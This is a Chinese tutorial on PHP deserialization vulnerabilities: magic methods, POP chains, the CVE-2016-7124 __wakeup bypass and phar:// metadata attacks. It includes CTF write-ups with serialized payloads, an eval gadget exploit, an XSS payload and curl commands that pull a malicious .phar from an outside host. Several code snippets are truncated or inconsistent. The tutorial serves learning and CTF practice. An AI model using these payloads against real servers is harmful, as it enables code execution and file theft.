0x00 知識點
自從 Orange 在 2017年的 hitcon 出了一個 0day 的 php phar:// 反序列化給整個安全界開啟了新世界的大門以后,php 反序列化這個漏洞就逐漸升溫,沒想到后來 2018 年 blackhat 的議題上這個問題再次被提及,利用的還是 Orange 的思路(我只能 orz),到現在 phar:// 反序列化已經成為了各大 CTF 炙手可熱的思路,就仿佛 2016 年的 CVE-2016-7124 繞過 __weakup 一樣。
0x01 PHP的序列化和反序列化
概念
這其實是為了解決 PHP 對象傳遞的一個問題,因為 PHP 文件在執行結束以后就會將對象銷毀,那么如果下次有一個頁面恰好要用到剛剛銷毀的對象就會束手無策,總不能你永遠不讓它銷毀,等着你吧,於是人們就想出了一種能長久保存對象的方法,這就是 PHP 的序列化,那當我們下次要用的時候只要反序列化一下就 ok 啦
序列化的目的是方便數據的傳輸和存儲. json 是為了傳遞數據的方便性.
序列化示例:
<?php
class test{
public $name = 'P2hm1n';
private $sex = 'secret';
protected $age = '20';
}
$test1 = new test();
$object = serialize($test1);
print_r($object);
?>
關鍵函數 serialize():將PHP中創建的對象,變成一個字符串
private屬性序列化的時候格式是 %00類名%00成員名
protected屬性序列化的時候格式是 %00*%00成員名
關鍵要點:
在Private 權限私有屬性序列化的時候格式是 %00類名%00屬性名
在Protected 權限序列化的時候格式是 %00*%00屬性名
你可能會發現這樣一個問題,你這個類定義了那么多方法,怎么把對象序列化了以后全都丟了?你看你整個序列化的字符串里面全是屬性,就沒有一個方法,這是為啥?
請記住,序列化他只序列化屬性,不序列化方法,這個性質就引出了兩個非常重要的話題:
(1)我們在反序列化的時候一定要保證在當前的作用域環境下有該類存在
這里不得不扯出反序列化的問題,這里先簡單說一下,反序列化就是將我們壓縮格式化的對象還原成初始狀態的過程(可以認為是解壓縮的過程),因為我們沒有序列化方法,因此在反序列化以后我們如果想正常使用這個對象的話我們必須要依托於這個類要在當前作用域存在的條件。
(2)我們在反序列化攻擊的時候也就是依托類屬性進行攻擊
因為沒有序列化方法嘛,我們能控制的只有類的屬性,因此類屬性就是我們唯一的攻擊入口,在我們的攻擊流程中,我們就是要尋找合適的能被我們控制的屬性,然后利用它本身的存在的方法,在基於屬性被控制的情況下發動我們的發序列化攻擊(這是我們攻擊的核心思想,這里先借此機會拋出來,大家有一個印象)
圖片1
反序列化示例:
<?php
$object = '經過序列化的字符串';
$test = unserialize($object1);
print_r($test3);
?>
圖片2
關鍵函數 unserialize():將經過序列化的字符串轉換回PHP值
當有 protected 和 private 屬性的時候記得補齊空的字符串
__wakeup()魔術方法
unserialize() 會檢查是否存在一個 __wakeup() 方法。如果存在,則會先調用 __wakeup 方法,預先准備對象需要的資源。
序列化public private protect參數產生不同結果
<?php
class test{
private $test1="hello";
public $test2="hello";
protected $test3="hello";
}
$test = new test();
echo serialize($test); // O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
?>
test類定義了三個不同類型(私有,公有,保護)但是值相同的字符串,序列化輸出的值不相同 O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
通過對網頁抓取輸出是這樣的 O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}
private的參數被反序列化后變成 \00test\00test1 public的參數變成 test2 protected的參數變成 \00*\00test3
0x02 為什么會產生反序列化漏洞?
概念解釋
PHP 反序列化漏洞又叫做 PHP 對象注入漏洞,是因為程序對輸入數據處理不當導致的.
反序列化漏洞的成因在於代碼中的 unserialize() 接收的參數可控,從上面的例子看,這個函數的參數是一個序列化的對象,而序列化的對象只含有對象的屬性,那我們就要利用對對象屬性的篡改實現最終的攻擊。
需要具備反序列化漏洞的前提:
必須有 unserailize() 函數
unserailize() 函數的參數必須可控(為了成功達到控制你輸入的參數所實現的功能,可能需要繞過一些魔法函數
PHP的魔法方法
PHP 將所有以 __(兩個下划線)開頭的類方法保留為魔術方法。所以在定義類方法時,除了上述魔術方法,建議不要以 __ 為前綴。 常見的魔法方法如下:
__construct(),類的構造函數
__destruct(),類的析構函數
__call(),在對象中調用一個不可訪問方法時調用
__callStatic(),用靜態方式中調用一個不可訪問方法時調用
__get(),獲得一個類的成員變量時調用
__set(),設置一個類的成員變量時調用
__isset(),當對不可訪問屬性調用isset()或empty()時調用
__unset(),當對不可訪問屬性調用unset()時被調用。
__sleep(),執行serialize()時,先會調用這個函數
__wakeup(),執行unserialize()時,先會調用這個函數
__toString(),類被當成字符串時的回應方法
__invoke(),調用函數的方式調用一個對象時的回應方法
__set_state(),調用var_export()導出類時,此靜態方法會被調用。
__clone(),當對象復制完成時調用
__autoload(),嘗試加載未定義的類
__debugInfo(),打印所需調試信息
(1) __construct():當對象創建時會自動調用(但在unserialize()時是不會自動調用的)。
(2) __wakeup() :unserialize()時會自動調用
(3) __destruct():當對象被銷毀時會自動調用。
(4) __toString():當反序列化后的對象被輸出在模板中的時候(轉換成字符串的時候)自動調用
(5) __get() :當從不可訪問的屬性讀取數據
(6) __call(): 在對象上下文中調用不可訪問的方法時觸發
其中特別說明一下第四點:
這個 __toString 觸發的條件比較多,也因為這個原因容易被忽略,常見的觸發條件有下面幾種
(1)echo ($obj) / print($obj) 打印時會觸發
(2)反序列化對象與字符串連接時
(3)反序列化對象參與格式化字符串時
(4)反序列化對象與字符串進行==比較時(PHP進行==比較的時候會轉換參數類型)
(5)反序列化對象參與格式化SQL語句,綁定參數時
(6)反序列化對象在經過php字符串函數,如 strlen()、addslashes()時
(7)在in_array()方法中,第一個參數是反序列化對象,第二個參數的數組中有toString返回的字符串的時候toString會被調用
(8)反序列化的對象作為 class_exists() 的參數的時候
在我們的攻擊中,反序列化函數 unserialize() 是我們攻擊的入口,也就是說,只要這個參數可控,我們就能傳入任何的已經序列化的對象(只要這個類在當前作用域存在我們就可以利用),而不是局限於出現 unserialize() 函數的類的對象,如果只能局限於當前類,那我們的攻擊面也太狹小了,這個類不調用危險的方法我們就沒法發起攻擊。
但是我們又知道,你反序列化了其他的類對象以后我們只是控制了是屬性,如果你沒有在完成反序列化后的代碼中調用其他類對象的方法,我們還是束手無策,畢竟代碼是人家寫的,人家本身就是要反序列化后調用該類的某個安全的方法,你總不能改人家的代碼吧,但是沒關系,因為我們有魔法方法。
魔法正如上面介紹的,魔法方法的調用是在該類序列化或者反序列化的同時自動完成的,不需要人工干預,這就非常符合我們的想法,因此只要魔法方法中出現了一些我們能利用的函數,我們就能通過反序列化中對其對象屬性的操控來實現對這些函數的操控,進而達到我們發動攻擊的目的。
示例程序:
<?php
class test{
public $target = 'this is a test';
function __destruct(){
echo $this->target;
}
}
$a = $_GET['b'];
$c = unserialize($a);
?>
滿足反序列化漏洞條件:存在unserialize() 函數,函數參數$a可以控制,就具備了利用反序列化漏洞的前提。因為存在 echo 的原因,我們還可以直接利用xss
<?php
class test{
public $target = '<script>alert(/xss/);</script>';
}
$a = new test();
$a = serialize($a);
echo $a;
?>
圖片3
0x03 魔術方法運行先后順序
<?php
class test{
public $name = 'P2hm1n';
function __construct(){
echo "__construct()";
echo "<br><br>";
}
function __destruct(){
echo "__destruct()";
echo "<br><br>";
}
function __wakeup(){
echo "__wakeup()";
echo "<br><br>";
}
function __toString(){
return "__toString()"."<br><br>";
}
function __sleep(){
echo "__sleep()";
echo "<br><br>";
return array("name");
}
}
$test1 = new test();
$test2 = serialize($test1);
$test3 = unserialize($test2);
print($test3);
?>
圖片4
我們一樣是來寫一個代碼進行驗證:
class test {
private $flag = '';
# 用於保存重載的數據
private $data = array();
public $filename = '';
public $content = '';
function __construct($filename, $content) {
$this->filename = $filename;
$this->content = $content;
echo 'construct function in test class';
echo "<br>";
}
function __destruct() {
echo 'destruct function in test class';
echo "<br>";
}
function __set($key, $value) {
echo 'set function in test class';
echo "<br>";
$this->data[$key] = $value;
}
function __get($key) {
echo 'get function in test class';
echo "<br>";
if (array_key_exists($key, $this->data)) {
return $this->data[$key];
} else {
return null;
}
}
function __isset($key) {
echo 'isset function in test class';
echo "<br>";
return isset($this->data[$key]);
}
function __unset($key) {
echo 'unset function in test class';
echo "<br>";
unset($this->data[$key]);
}
public function set_flag($flag) {
$this->flag = $flag;
}
public function get_flag() {
return $this->flag;
}
}
$a = new test('test.txt', 'data');
# __set() 被調用
$a->var = 1;
# __get() 被調用
echo $a->var;
# __isset() 被調用
var_dump(isset($a->var));
# __unset() 被調用
unset($a->var);
var_dump(isset($a->var));
echo "\n";
我們可以看到調用的順序為:
構造方法 => set方法(我們此時為類中並沒有定義過的一個類屬性進行賦值觸發了set方法) => get方法 => isset方法 => unset方法 => isset方法 => 析構方法
同時也可以發現,析構方法在所有的代碼被執行結束之后進行的。
__call() __callStatic()
實例程序:
<?php
class pompom{
private $name = "pompom";
function __construct(){
echo "__construct";
echo "</br>";
}
function __sleep(){
echo "__sleep";
echo "</br>";
return array("name");
}
function __wakeup(){
echo "__wakeup";
echo "</br>";
}
function __destruct(){
echo "__destruct";
echo "</br>";
}
function __toString(){
return "__toString"."</br>";
}
}
$pompom_old = new pompom();
$data = serialize($pompom_old);
file_put_contents("serialize-3.txt", $data);
$pompom_new = unserialize($data);
print($pompom_new);
輸出結果:
__construct
__sleep
__wakeup
__toString
__destruct
__destruct
就是提示一下這里 __destruct 了兩次說明當前實際上有兩個對象,一個就是實例化的時候創建的對象,另一個就是反序列化后生成的對象。
PHP反序列化標識符含義:
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
序列化:把復雜的數據類型壓縮到一個字符串中 數據類型可以是數組,字符串,對象等 函數 : serialize()
反序列化:恢復原先被序列化的變量 函數: unserialize()
<?php
$test1 = "hello world";
$test2 = array("hello","world");
$test3 = 123456;
echo serialize($test1); // s:11:"hello world"; 序列化字符串
echo serialize($test2); // a:2:{i:0;s:5:"hello";i:1;s:5:"world";} 序列化數組
echo serialize($test3); // i:123456;
?>
<?php
class hello{
public $test4 = "hello,world";
}
$test = new hello();
echo serialize($test); // O:5:"hello":1:{s:5:"test4";s:11:"hello,world";} 序列化對象 首字母代表參數類型 O->Objext S->String...
?>
0x04 利用魔法方法發起攻擊
<?php
class K0rz3n {
private $test;
public $K0rz3n = "i am K0rz3n";
function __construct() {
$this->test = new L();
}
function __destruct() {
$this->test->action();
}
}
class L {
function action() {
echo "Welcome to XDSEC";
}
}
class Evil {
var $test2;
function action() {
eval($this->test2);
}
}
unserialize($_GET['test']);
首先我們能看到 unserialize() 函數的參數我們是可以控制的,也就是說我們能通過這個接口反序列化任何類的對象(但只有在當前作用域的類才對我們有用),那我們看一下當前這三個類,我們看到后面兩個類反序列化以后對我們沒有任何意義,因為我們根本沒法調用其中的方法,但是第一個類就不一樣了,雖然我們也沒有什么代碼能實現調用其中的方法的,但是我們發現他有一個魔法函數 __destruct() ,這就非常有趣了,因為這個函數能在對象銷毀的時候自動調用,不用我們人工的干預,好,既然這樣我們就決定反序列化這個類的對象了,接下來讓我們看一下怎么利用(我上面說過了,我們需要控制這個類的某些屬性,通過控制屬性實現我們的攻擊).
destruct() 里面只用到了一個屬性 test ,那肯定就是他了,那我們控制這個屬性為什么內容我們就能攻擊了呢,我們再觀察一下 那些地方調用了 action() 函數,看看這個函數的調用中有沒有存在執行命令或者是其他我們能利用的點的,果然我們在 Evil 這個類中發現他的 action() 函數調用了 eval(),那我們的想法就很明確了,
我們需要將 K0rz3n 這個類中的 test 屬性篡改為 Evil 這個類的對象,然后為了 eval 能執行命令,我們還要篡改 Evil 對象的 test2 屬性,將其改成我們的 Payload.
分析完畢以后我們就可以構建我們的序列化字符串了,構建的方法不是手寫(當然你願意我也不攔着你,理論上是可行的),我們要將這段代碼復制一下,然后修改一些內容並進行序列化操作.
生成 payload 代碼:
<?php
class K0rz3n {
private $test;
function __construct() {
$this->test = new Evil;
}
}
class Evil {
var $test2 = "phpinfo();";
}
$K0rz3n = new K0rz3n;
$data = serialize($K0rz3n);
file_put_contents("seria.txt", $data);
我們去除了一切與我們要篡改的屬性無關的內容,對其進行序列化操作,然后將序列化的結果復制出來,想剛剛的代碼發起請求
注意要添加上:%00xxx%00
可以看到我們攻擊成功,特別要提醒一下的就是我在圖中框起來的部分,上面說過由於是私有屬性,他有自己特殊的格式會在前后加兩個 %00 ,所以我們在傳輸過程中絕對不能忘掉.
通過這個簡單的例子總結一下尋找 PHP 反序列化漏洞的方法或者說流程
(1) 尋找 unserialize() 函數的參數是否有我們的可控點
(2) 尋找我們的反序列化的目標,重點尋找 存在 wakeup() 或 destruct() 魔法函數的類
(3) 一層一層地研究該類在魔法方法中使用的屬性和屬性調用的方法,看看是否有可控的屬性能實現在當前調用的過程中觸發的
(4) 找到我們要控制的屬性了以后我們就將要用到的代碼部分復制下來,然后構造序列化,發起攻擊
0x05 PHP反序列化漏洞試題練習
- 1、 D0g3平台 http://120.79.33.253:9001/
解題思路:通過源碼將對應字符串序列化即可.
<?php
$KEY = "D0g3!!!";
echo serialize($KEY)
?>
- 2、BugKu welcome to bugkuctf
解題思路:考察的包含3個知識點
a、 PHP://input 作為文件讀入
b、 PHP文件包含漏洞(php://filter/read=convert.base64-encode/resource=)
c、 PHP反序列化漏洞利用
只需要控制 $this->file 就能讀到我們想要的文件
<?php
class Flag{//flag.php
public $file = 'flag.php';
}
$a = new Flag();
$a = serialize($a);
echo $a;
?>
- 3、__wakeup() 函數失效引發漏洞(CVE-2016-7124)
漏洞影響版本
PHP5 < 5.6.25
PHP7 < 7.0.10
漏洞原理及要點
__wakeup()函數觸發於unserilize()調用之前,但是如果被反序列話的字符串其中對應的對象的屬性個數發生變化時,會導致反序列化失敗而同時使得 __wakeup()函數失效。當成員屬性數目大於實際數目時會跳過 __wakeup()函數的執行。
實例演示:sugarcrm <=6.5.23 存在此漏洞 (https://blog.csdn.net/qq_19876131/article/details/52890854)
推薦閱讀:SugarCRM v6.5.23 PHP反序列化對象注入漏洞
- 4、HITCON 2016的web題babytrick為例:
訪問https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick查看源碼
解題思路:注意到類中有魔術方法__wakeup,其中函數會對我們的輸入進行過濾、轉義。
如何繞過__wakeup呢?谷歌發現了CVE-2016-7124,一個月前爆出的。簡單來說就是當序列化字符串中,如果表示對象屬性個數的值大於真實的屬性個數時就會跳過__wakeup的執行。參考https://bugs.php.net/bug.php?id=72663,某一種情況下,出錯的對象不會被毀掉,會繞過__wakeup函數、引用其他的魔術方法。
官方exp如下:
<?php
class obj implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
$this->data = unserialize($data);
}
}
$inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."".'*'."".'file";R:4;}';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';
$data = unserialize($exploit);
echo $data[1];
?>
- 5、第12屆2019年全國大學生信息安全競賽-Web之JustSoso
解題思路:
a、 http://xxx/index.php?file=php://filter/read/convert.base64-encode/resource=index(hint).php
b、parse_url() 函數解析漏洞 使用域名之后使用///
parse_url()會把//認為是相對路徑(5.4.7以前) ///會被返回false 從而繞過過濾
c、hint.php 中的對象在反序列化的時候,會先調用 __wakeup 魔術方法,PHP反序列化繞過__wakeup方法(PHP-Bug-72663),
將我們payload中O:6:"Handle":1改為O:6:"Handle":2
d、使用引用,使token為token_flag的引用,從而 token===token_flag
要讓token===token_flag,我們可以使用引用,使token變為token_flag的引用
找到一個正解,使用php得引用賦值來繞過。
原理:
a=1;
b=&a;
a=a+1;
那末最后b得值也會變為2,因為b是引用賦值。
這里我們同樣得方法,我們在構造序列化字符串得時候加上這么一句:
$b = new Flag("flag.php");
$b->token=&$b->token_flag;
$a = new Handle($b);
那末token得值就始終和token_flag保持一致了。
e、還有一點要注意:s:14:"Handlehandle" 為什么長度是12,前面的值卻是14呢?
這是因為當成員屬性為private時,在序列化后,Handle字串前后會各有一個0x00,因此長度為14。
類似的protect屬性,則是在*前后各有一個0x00。
0x00的url編碼為%00,因此我們傳參時要進行編碼。因此最終payload要加上%00。
- 6、2019年DDCTF-Web簽到題
題目地址:http://117.51.158.44/index.php
解題思路:
a、 抓包分析可以看到有個明顯的header頭didictf_username,使用burpSuite發送到Repeater didictf_username加入admin 發送后得到app/fL2XID2i0Cdh.php
b、 POST /app/Session.php 獲得到Cookie值.
c、 源碼分析:
if(!empty($_POST["nickname"])) { //POST的不為空
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) { //打印變量
$data = sprintf($data,$v); //輸出
}
parent::response($data,"Welcome");
}
修改 Content-Type:application/x-www-form-urlencoded,添加 nickname 變量中包含%s,加入獲取的Cookie值,可得到$this->eancrykey的數值.
d、構造最終payload為
<?php
Class Application {
var $path = '..././config/flag.txt';
}
$a = new Application();
$a = serialize($a);
print_r($a);
?>
解題思路:
首先是一個類sercet 接受$cmd,繞過正則 ,反序列化。覆蓋$file的值,繞過 __wakeup,顯示the_next.php的源碼
O:6:"sercet":1:{s:12:"sercetfile";s:12:"the_next.php";}
POC1:
TzorNjoic2VyY2V0IjozOntzOjEyOiIAc2VyY2V0AGZpbGUiO3M6MTI6InRoZV9uZXh0LnBocCI7fQ==
在復現的過程中 我發現在hackbar中直接將 O:+6:"sercet":1:{s:12:" sercet file";s:12:"the_next.php";} base64編碼不能繞過 必須要在本地base64_encode生成 才能復現成功
繞過正則可以用+號 問題是如何繞過__weakup函數 發現這是一個CVE漏洞 ==》當成員屬性數目大於實際數目時可繞過wakeup方法(CVE-2016-7124)
O:6:"sercet":1: 也就是輸入比1大的值就行 如O:6:"sercet":2:
O:6:"sercet":2:{s:12:"sercetfile";s:12:"the_next.php";}
所以POC2: O:+6:"sercet":2:{S:12:"\00sercet\00file";s:12:"the_next.php";} TzorNjoic2VyY2V0IjoyOntTOjEyOiJcMDBzZXJjZXRcMDBmaWxlIjtzOjEyOiJ0aGVfbmV4dC5waHAiO30KCgo=
兩個POC均可以成功繞過.
- 8、PHP反序列化繞過__wakeup方法(PHP-Bug-72663)
https://mochazz.github.io/2018/12/30/PHP反序列化bug/
這個 bug 的原理是:當反序列化字符串中,表示屬性個數的值大於真實屬性個數時,會跳過 __wakeup 函數的執行。
反序列化的字符串用戶可控,但是反序列化后會先執行 __wakeup 函數,該函數會將 $this->file 變量設成固定值,導致我們無法進行任意文件讀取。現在我們利用這個 bug 嘗試繞過 __wakeup 函數。可以看到 ReadFile 類的屬性中,只有一個 $file 私有屬性,那么正常反序列化出來應該是下面這個樣子:
而如果我們將數值個數值 1 改成大於 1 的任何數字,在反序列化時就不會調用 __wakeup 函數。觀察上圖,我們還會發現反序列化字符串中存在 \x00 字符,這個其實是類的私有屬性反序列化后的格式,protected 屬性也有自己的反序列化格式,不妨來看看:
回到題目上,我們最終可以用如下 payload ,實現繞過 __wakeup 函數讀取任意文件:
0x06 PHP反序列化高階學習(Php phar / PHP POP 鏈)
POP 鏈的介紹:
ROP 的全稱是面向返回編程(Return-Oriented Programing),ROP 鏈構造中是尋找當前系統環境中或者內存環境里已經存在的、具有固定地址且帶有返回操作的指令集,將這些本來無害的片段拼接起來,形成一個連續的層層遞進的調用鏈,最終達到我們的執行 libc 中函數或者是 systemcall 的目的
POP 面向屬性編程(Property-Oriented Programing) 常用於上層語言構造特定調用鏈的方法,與二進制利用中的面向返回編程(Return-Oriented Programing)的原理相似,都是從現有運行環境中尋找一系列的代碼或者指令調用,然后根據需求構成一組連續的調用鏈,最終達到攻擊者邪惡的目的
說的再具體一點就是 ROP 是通過棧溢出實現控制指令的執行流程,而我們的反序列化是通過控制對象的屬性從而實現控制程序的執行流程,進而達成利用本身無害的代碼進行有害操作的目的
說了這么多理論了,來點實戰性的東西演示一下 POP 鏈的形成吧!
現在我們就按照,我上面說的步驟來一步一步的分析這段代碼,最終構造我們的 POP 鏈完成利用
(1)尋找 unserialize() 函數的參數是否有我們的可控點
我們假設已經在第一段代碼里設置了參數可控的 unserialize()
(2)尋找我們的反序列化的目標,重點尋找 存在 wakeup() 或 destruct() 魔法函數的類
我們在第一段代碼中尋找,我們發現一眼就看到了我們最想要看到的東西,__destruct() 魔法方法,好,既然這樣我們就將這個類作為我們的漏洞嫌疑對象
(3)一層一層地研究該類在魔法方法中使用的屬性和屬性調用的方法,看看是否有可控的屬性能實現在當前調用的過程中觸發的
1.我們就先來看一下這個 $write ,這個 $write 雖然不是屬性,但是他是我們 $_write 屬性的其中一部分,那么控制他也就等於控制屬性,那我們就要好好研究一下這個 $write 了,他是什么呢?通過他能調用 shutdown() 來看,他是某一個類的一個對象,因為他不是單純的屬性所以我們還要向下挖
2.於是我們就要找一下定義 shutdown() 方法的類,然后我們就鎖定了 Zend_Log_Writer_Mail 這個類,我們看到這個類里面使用了 $write 對象的很多屬性,比如說 _layout ,然后我們又發現這個屬性也調用了一個方法 render() ,說明這個屬性其實也是一個對象,於是我們還要向更深處挖掘
3.那么 _layout 是誰的對象呢?我們發現他是 Zend_layout 的一個對象,同樣的,他里面是用了一個 _inflector 的屬性,這個屬性調用了 filter 方法,看來他也是一個對象(有完沒完~~)別急,我們繼續向下
4.我們發現 _inflector 是 Zend_Filter_PregReplace 的一個對象,這個對象的一些屬性是能進行直接控制的,並且在調用 filter 方法的時候能直接觸發 preg_replace() 方法,太好了這正是我們想要的,我們只要控制這個對象的屬性就能實現我們的利用鏈
最后一張 圖片實際上已經將整個利用鏈畫了出來,並且給上了 payload ,下面我想通過對整個 payload 的分析再來回顧一下整個 POP 鏈的調用過程.
所以整個 POP 鏈就是
writer->shutdown()->render()->filter()->preg_replace(我們控制的屬性)->代碼執行
聲明:
當然這是一個很老的但是很經典的例子,里面用到的方法還是 preg_replace() 的 /e 選項,我們只是學習使用,請大家不要糾結
利用 phar:// 拓展 PHP 反序列化的攻擊面
在 2017 年的 hitcon Orange 的一道 0day 題的解法令人震驚,Orange 通過他對底層的深度理解,為 PHP 反序列化開啟了新的篇章,在此之后的 black 2018 演講者同樣用這個話題講述了 phar:// 協議在 PHP 反序列化中的神奇利用,那么接下來就讓我們分析他為什么開啟了 PHP 反序列化的新世界,以及剖析一下這個他的利用方法。
1.回顧一下原先 PHP 反序列化攻擊的必要條件
(1)首先我們必須有 unserailize() 函數
(2)unserailize() 函數的參數必須可控
這兩個是原先存在 PHP 反序列化漏洞的必要條件,沒有這兩個條件你談都不要談,根本不可能,但是從2017 年開始 Orange 告訴我們是可以的
2.phar:// 如何擴展反序列化的攻擊面的
原來 phar 文件包在 生成時會以序列化的形式存儲用戶自定義的 meta-data ,配合 phar:// 我們就能在文件系統函數 file_exists() is_dir() 等參數可控的情況下實現自動的反序列化操作,於是我們就能通過構造精心設計的 phar 包在沒有 unserailize() 的情況下實現反序列化攻擊,從而將 PHP 反序列化漏洞的觸發條件大大拓寬了,降低了我們 PHP 反序列化的攻擊起點。
3.具體解釋一下 phar 的使用
1.Phar 的文件結構
phar 文件最核心也是必須要有的部分如圖所示: phar-1.png
(1) a stub
圖片中說了,這其實就是一個PHP 文件實際上我們能將其復雜化為下面這個樣子
格式為:
xxx
前面內容不限,但必須以__HALT_COMPILER();?>來結尾,這部分的目的就是讓 phar 擴展識別這是一個標准的 phar 文件
(2)a manifest describing the contents
因為 Phar 本身就是一個壓縮文件,它里面存儲着其中每個被壓縮文件的權限、屬性等信息。這部分還會以序列化的形式存儲用戶自定義的meta-data,這是上述攻擊手法最核心的地方。
(3)the file contents
這部分就是我們想要壓縮在 phar 壓縮包內部的文件
2.如何創建一個合法的 Phar壓縮文件 http://127.0.0.1/php_unserialize/Phar-1.php
可以清楚地看到我們的 TestObject 類已經以序列化的形式存入文件中
我們剛剛說過了,php一大部分的文件系統函數在通過phar://偽協議解析phar文件時,都會將meta-data進行反序列化
測試后受影響的函數如下: 受影響的函數列表
fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fikeperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile
3.phar 反序列化小實驗
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>
可以看出我們成功的在沒有 unserailize() 函數的情況下,通過精心構造的 phar 文件,再結合 phar:// 協議,配合文件系統函數,實現了一次精彩的反序列化操作。
其他函數當然也是可行的:
phar_test2.php
當文件系統函數的參數可控時,我們可以在不調用unserialize()的情況下進行反序列化操作,一些之前看起來“人畜無害”的函數也變得“暗藏殺機”,極大的拓展了攻擊面。
實際利用
3.1 利用條件
任何漏洞或攻擊手法不能實際利用,都是紙上談兵。在利用之前,先來看一下這種攻擊的利用條件。
phar文件要能夠上傳到服務器端。
要有可用的魔術方法作為“跳板”。
文件操作函數的參數可控,且:、/、phar等特殊字符沒有被過濾。
具體參考:利用 phar 拓展 php 反序列化漏洞攻擊面
https://paper.seebug.org/680/
相關示例說明:
HITCON 2016上,orange 出了一道PHP反序列化。 babytrick
HITCON 2017上,orange 出了一道Phar + PHP反序列化。 下面的實例程序
HITCON 2018上,orange 出了一道file_get_contents + Phar + PHP反序列化。
Hitcon2018 BabyCake題目分析 https://www.anquanke.com/post/id/162431#h2-0
讓我們期待HITCON 2019的操作
通過源碼分析,很清楚 cookie 是通過 remote_addr 配合 sha1 進行 hmac 簽名生成的,想繞過他那是不可能的,當時的人們肯定都是沉迷於無法繞過這個,於是最終這道題是 全球 0 解,但是現在我們就要思考一下 是不是能用 Phar 這個在不使用 unserialize() 的方式完成序列化成功 get flag
回顧一下使用 Phar 反序列化的條件是什么
(1)文件上傳點
(2)系統文件函數
(3) phar:// 偽協議
這個太完美了,完全符合我們要求,我們只要的精心構造一個包含 Admin 對象、包含 avatar.gif 文件,並且 stub 是 GIF89a 的 phar 文件然后上傳上去,下一次請求通過 Phar:// 協議讓 file_get_contents 請求這個文件就可以實現我們對 Admin 對象的反序列化了(有人可能會說為什么不直接用 phar:// 請求遠程文件,因為phar:// 不支持訪問遠程 URL )
生成 phar 的 paylod
';$p->setMetadata(new Admin());
$p->setStub('GIF89a
');
rename(DIR . '/avatar.phar', DIR . '/avatar.gif');
?>
這里還有一個點需要提一下(雖然和反序列化沒什么直接關系),就是我們通過 eval 創建的函數並不能幫我們拿到 flag 因為他是隨機名稱的,我們是無法預測的,實際上這是 Orange 的一個障眼法,我們真正要利用的是 eval 下面的 $_GET"lucky";
但是實際上我們的 $FLAG 也是一個匿名函數,但是匿名函數就真的沒有名字了嗎?非也,匿名函數的函數名被定義為
\000_lambda_" . count(anonymous_functions)++;
這里的count 會一直遞增到最大長度直到結束,這里我們可以通過大量的請求來迫使Pre-fork模式啟動的Apache啟動新的線程,這樣這里的隨機數會刷新為1,就可以預測了
下面給出 Orange 的解題過程
# get a cookie
$ curl http://host/ --cookie-jar cookie
# download .phar file from http://orange.tw/avatar.gif
$ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/'
# force apache to fork new process
$ python fork.py &
# get flag
$ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky= lambda_1"
補充知識點(PHP中的類,對象,屬性,方法,this,-> ):
php里面的類-----class XX{},通過類的定義,可以使用調用類里面的成員屬性和成員方法。
對象---一個類就是一個對象,一個對象可以有多個屬性,一個類可以有多個成員方法。
在PHP中,要創建一個類很簡單,只需要關鍵字class即可,class {}
在PHP中用關鍵字new來創建一個類的對象,其語法如下:
$object_name=new class_name
其中,object_name即為所要建立的對象的名字,關鍵字new用來創建一個對象,class_name為類名。
在類中定義的變量我們稱之為“屬性(property)”,屬性的聲明必須由訪問控制關鍵字public(公開的)、protected(受保護的)或private(私有的)開頭。
class car {
public $brand = 'Volkswagen';
protected $price = 999999;
private $color = 'red';
function getBrand(){
return $this->brand;
}
}
public屬性可以在類的外部訪問,而protected和private屬性則只能由該類內部的方法使用。
外部訪問對象的屬性和方法時,使用 -> 操作符。內部訪問時使用$this(偽變量)調用當前對象的屬性或方法。
$c = new car(); //對象:c 類名:car
echo $c->brand; //Volkswagen
echo $c->price; //報錯,受保護屬性不允許外部訪問
echo $c->color; //報錯,私有屬性不允許外部訪問
類中的方法(function)和屬性具有一樣的訪問控制方式。定義方法時加上public、protected和private關鍵字即可。默認狀態下為public。同樣的,public可通過->操作符外部訪問,而protected和private方法只能通過為變量$this內部訪問。
protected和private都不可外部訪問,區別在哪里呢?
從字面理解,protected只是受保護而已,所有可以在本類、父類和子類中訪問。而private只能在本類中訪問。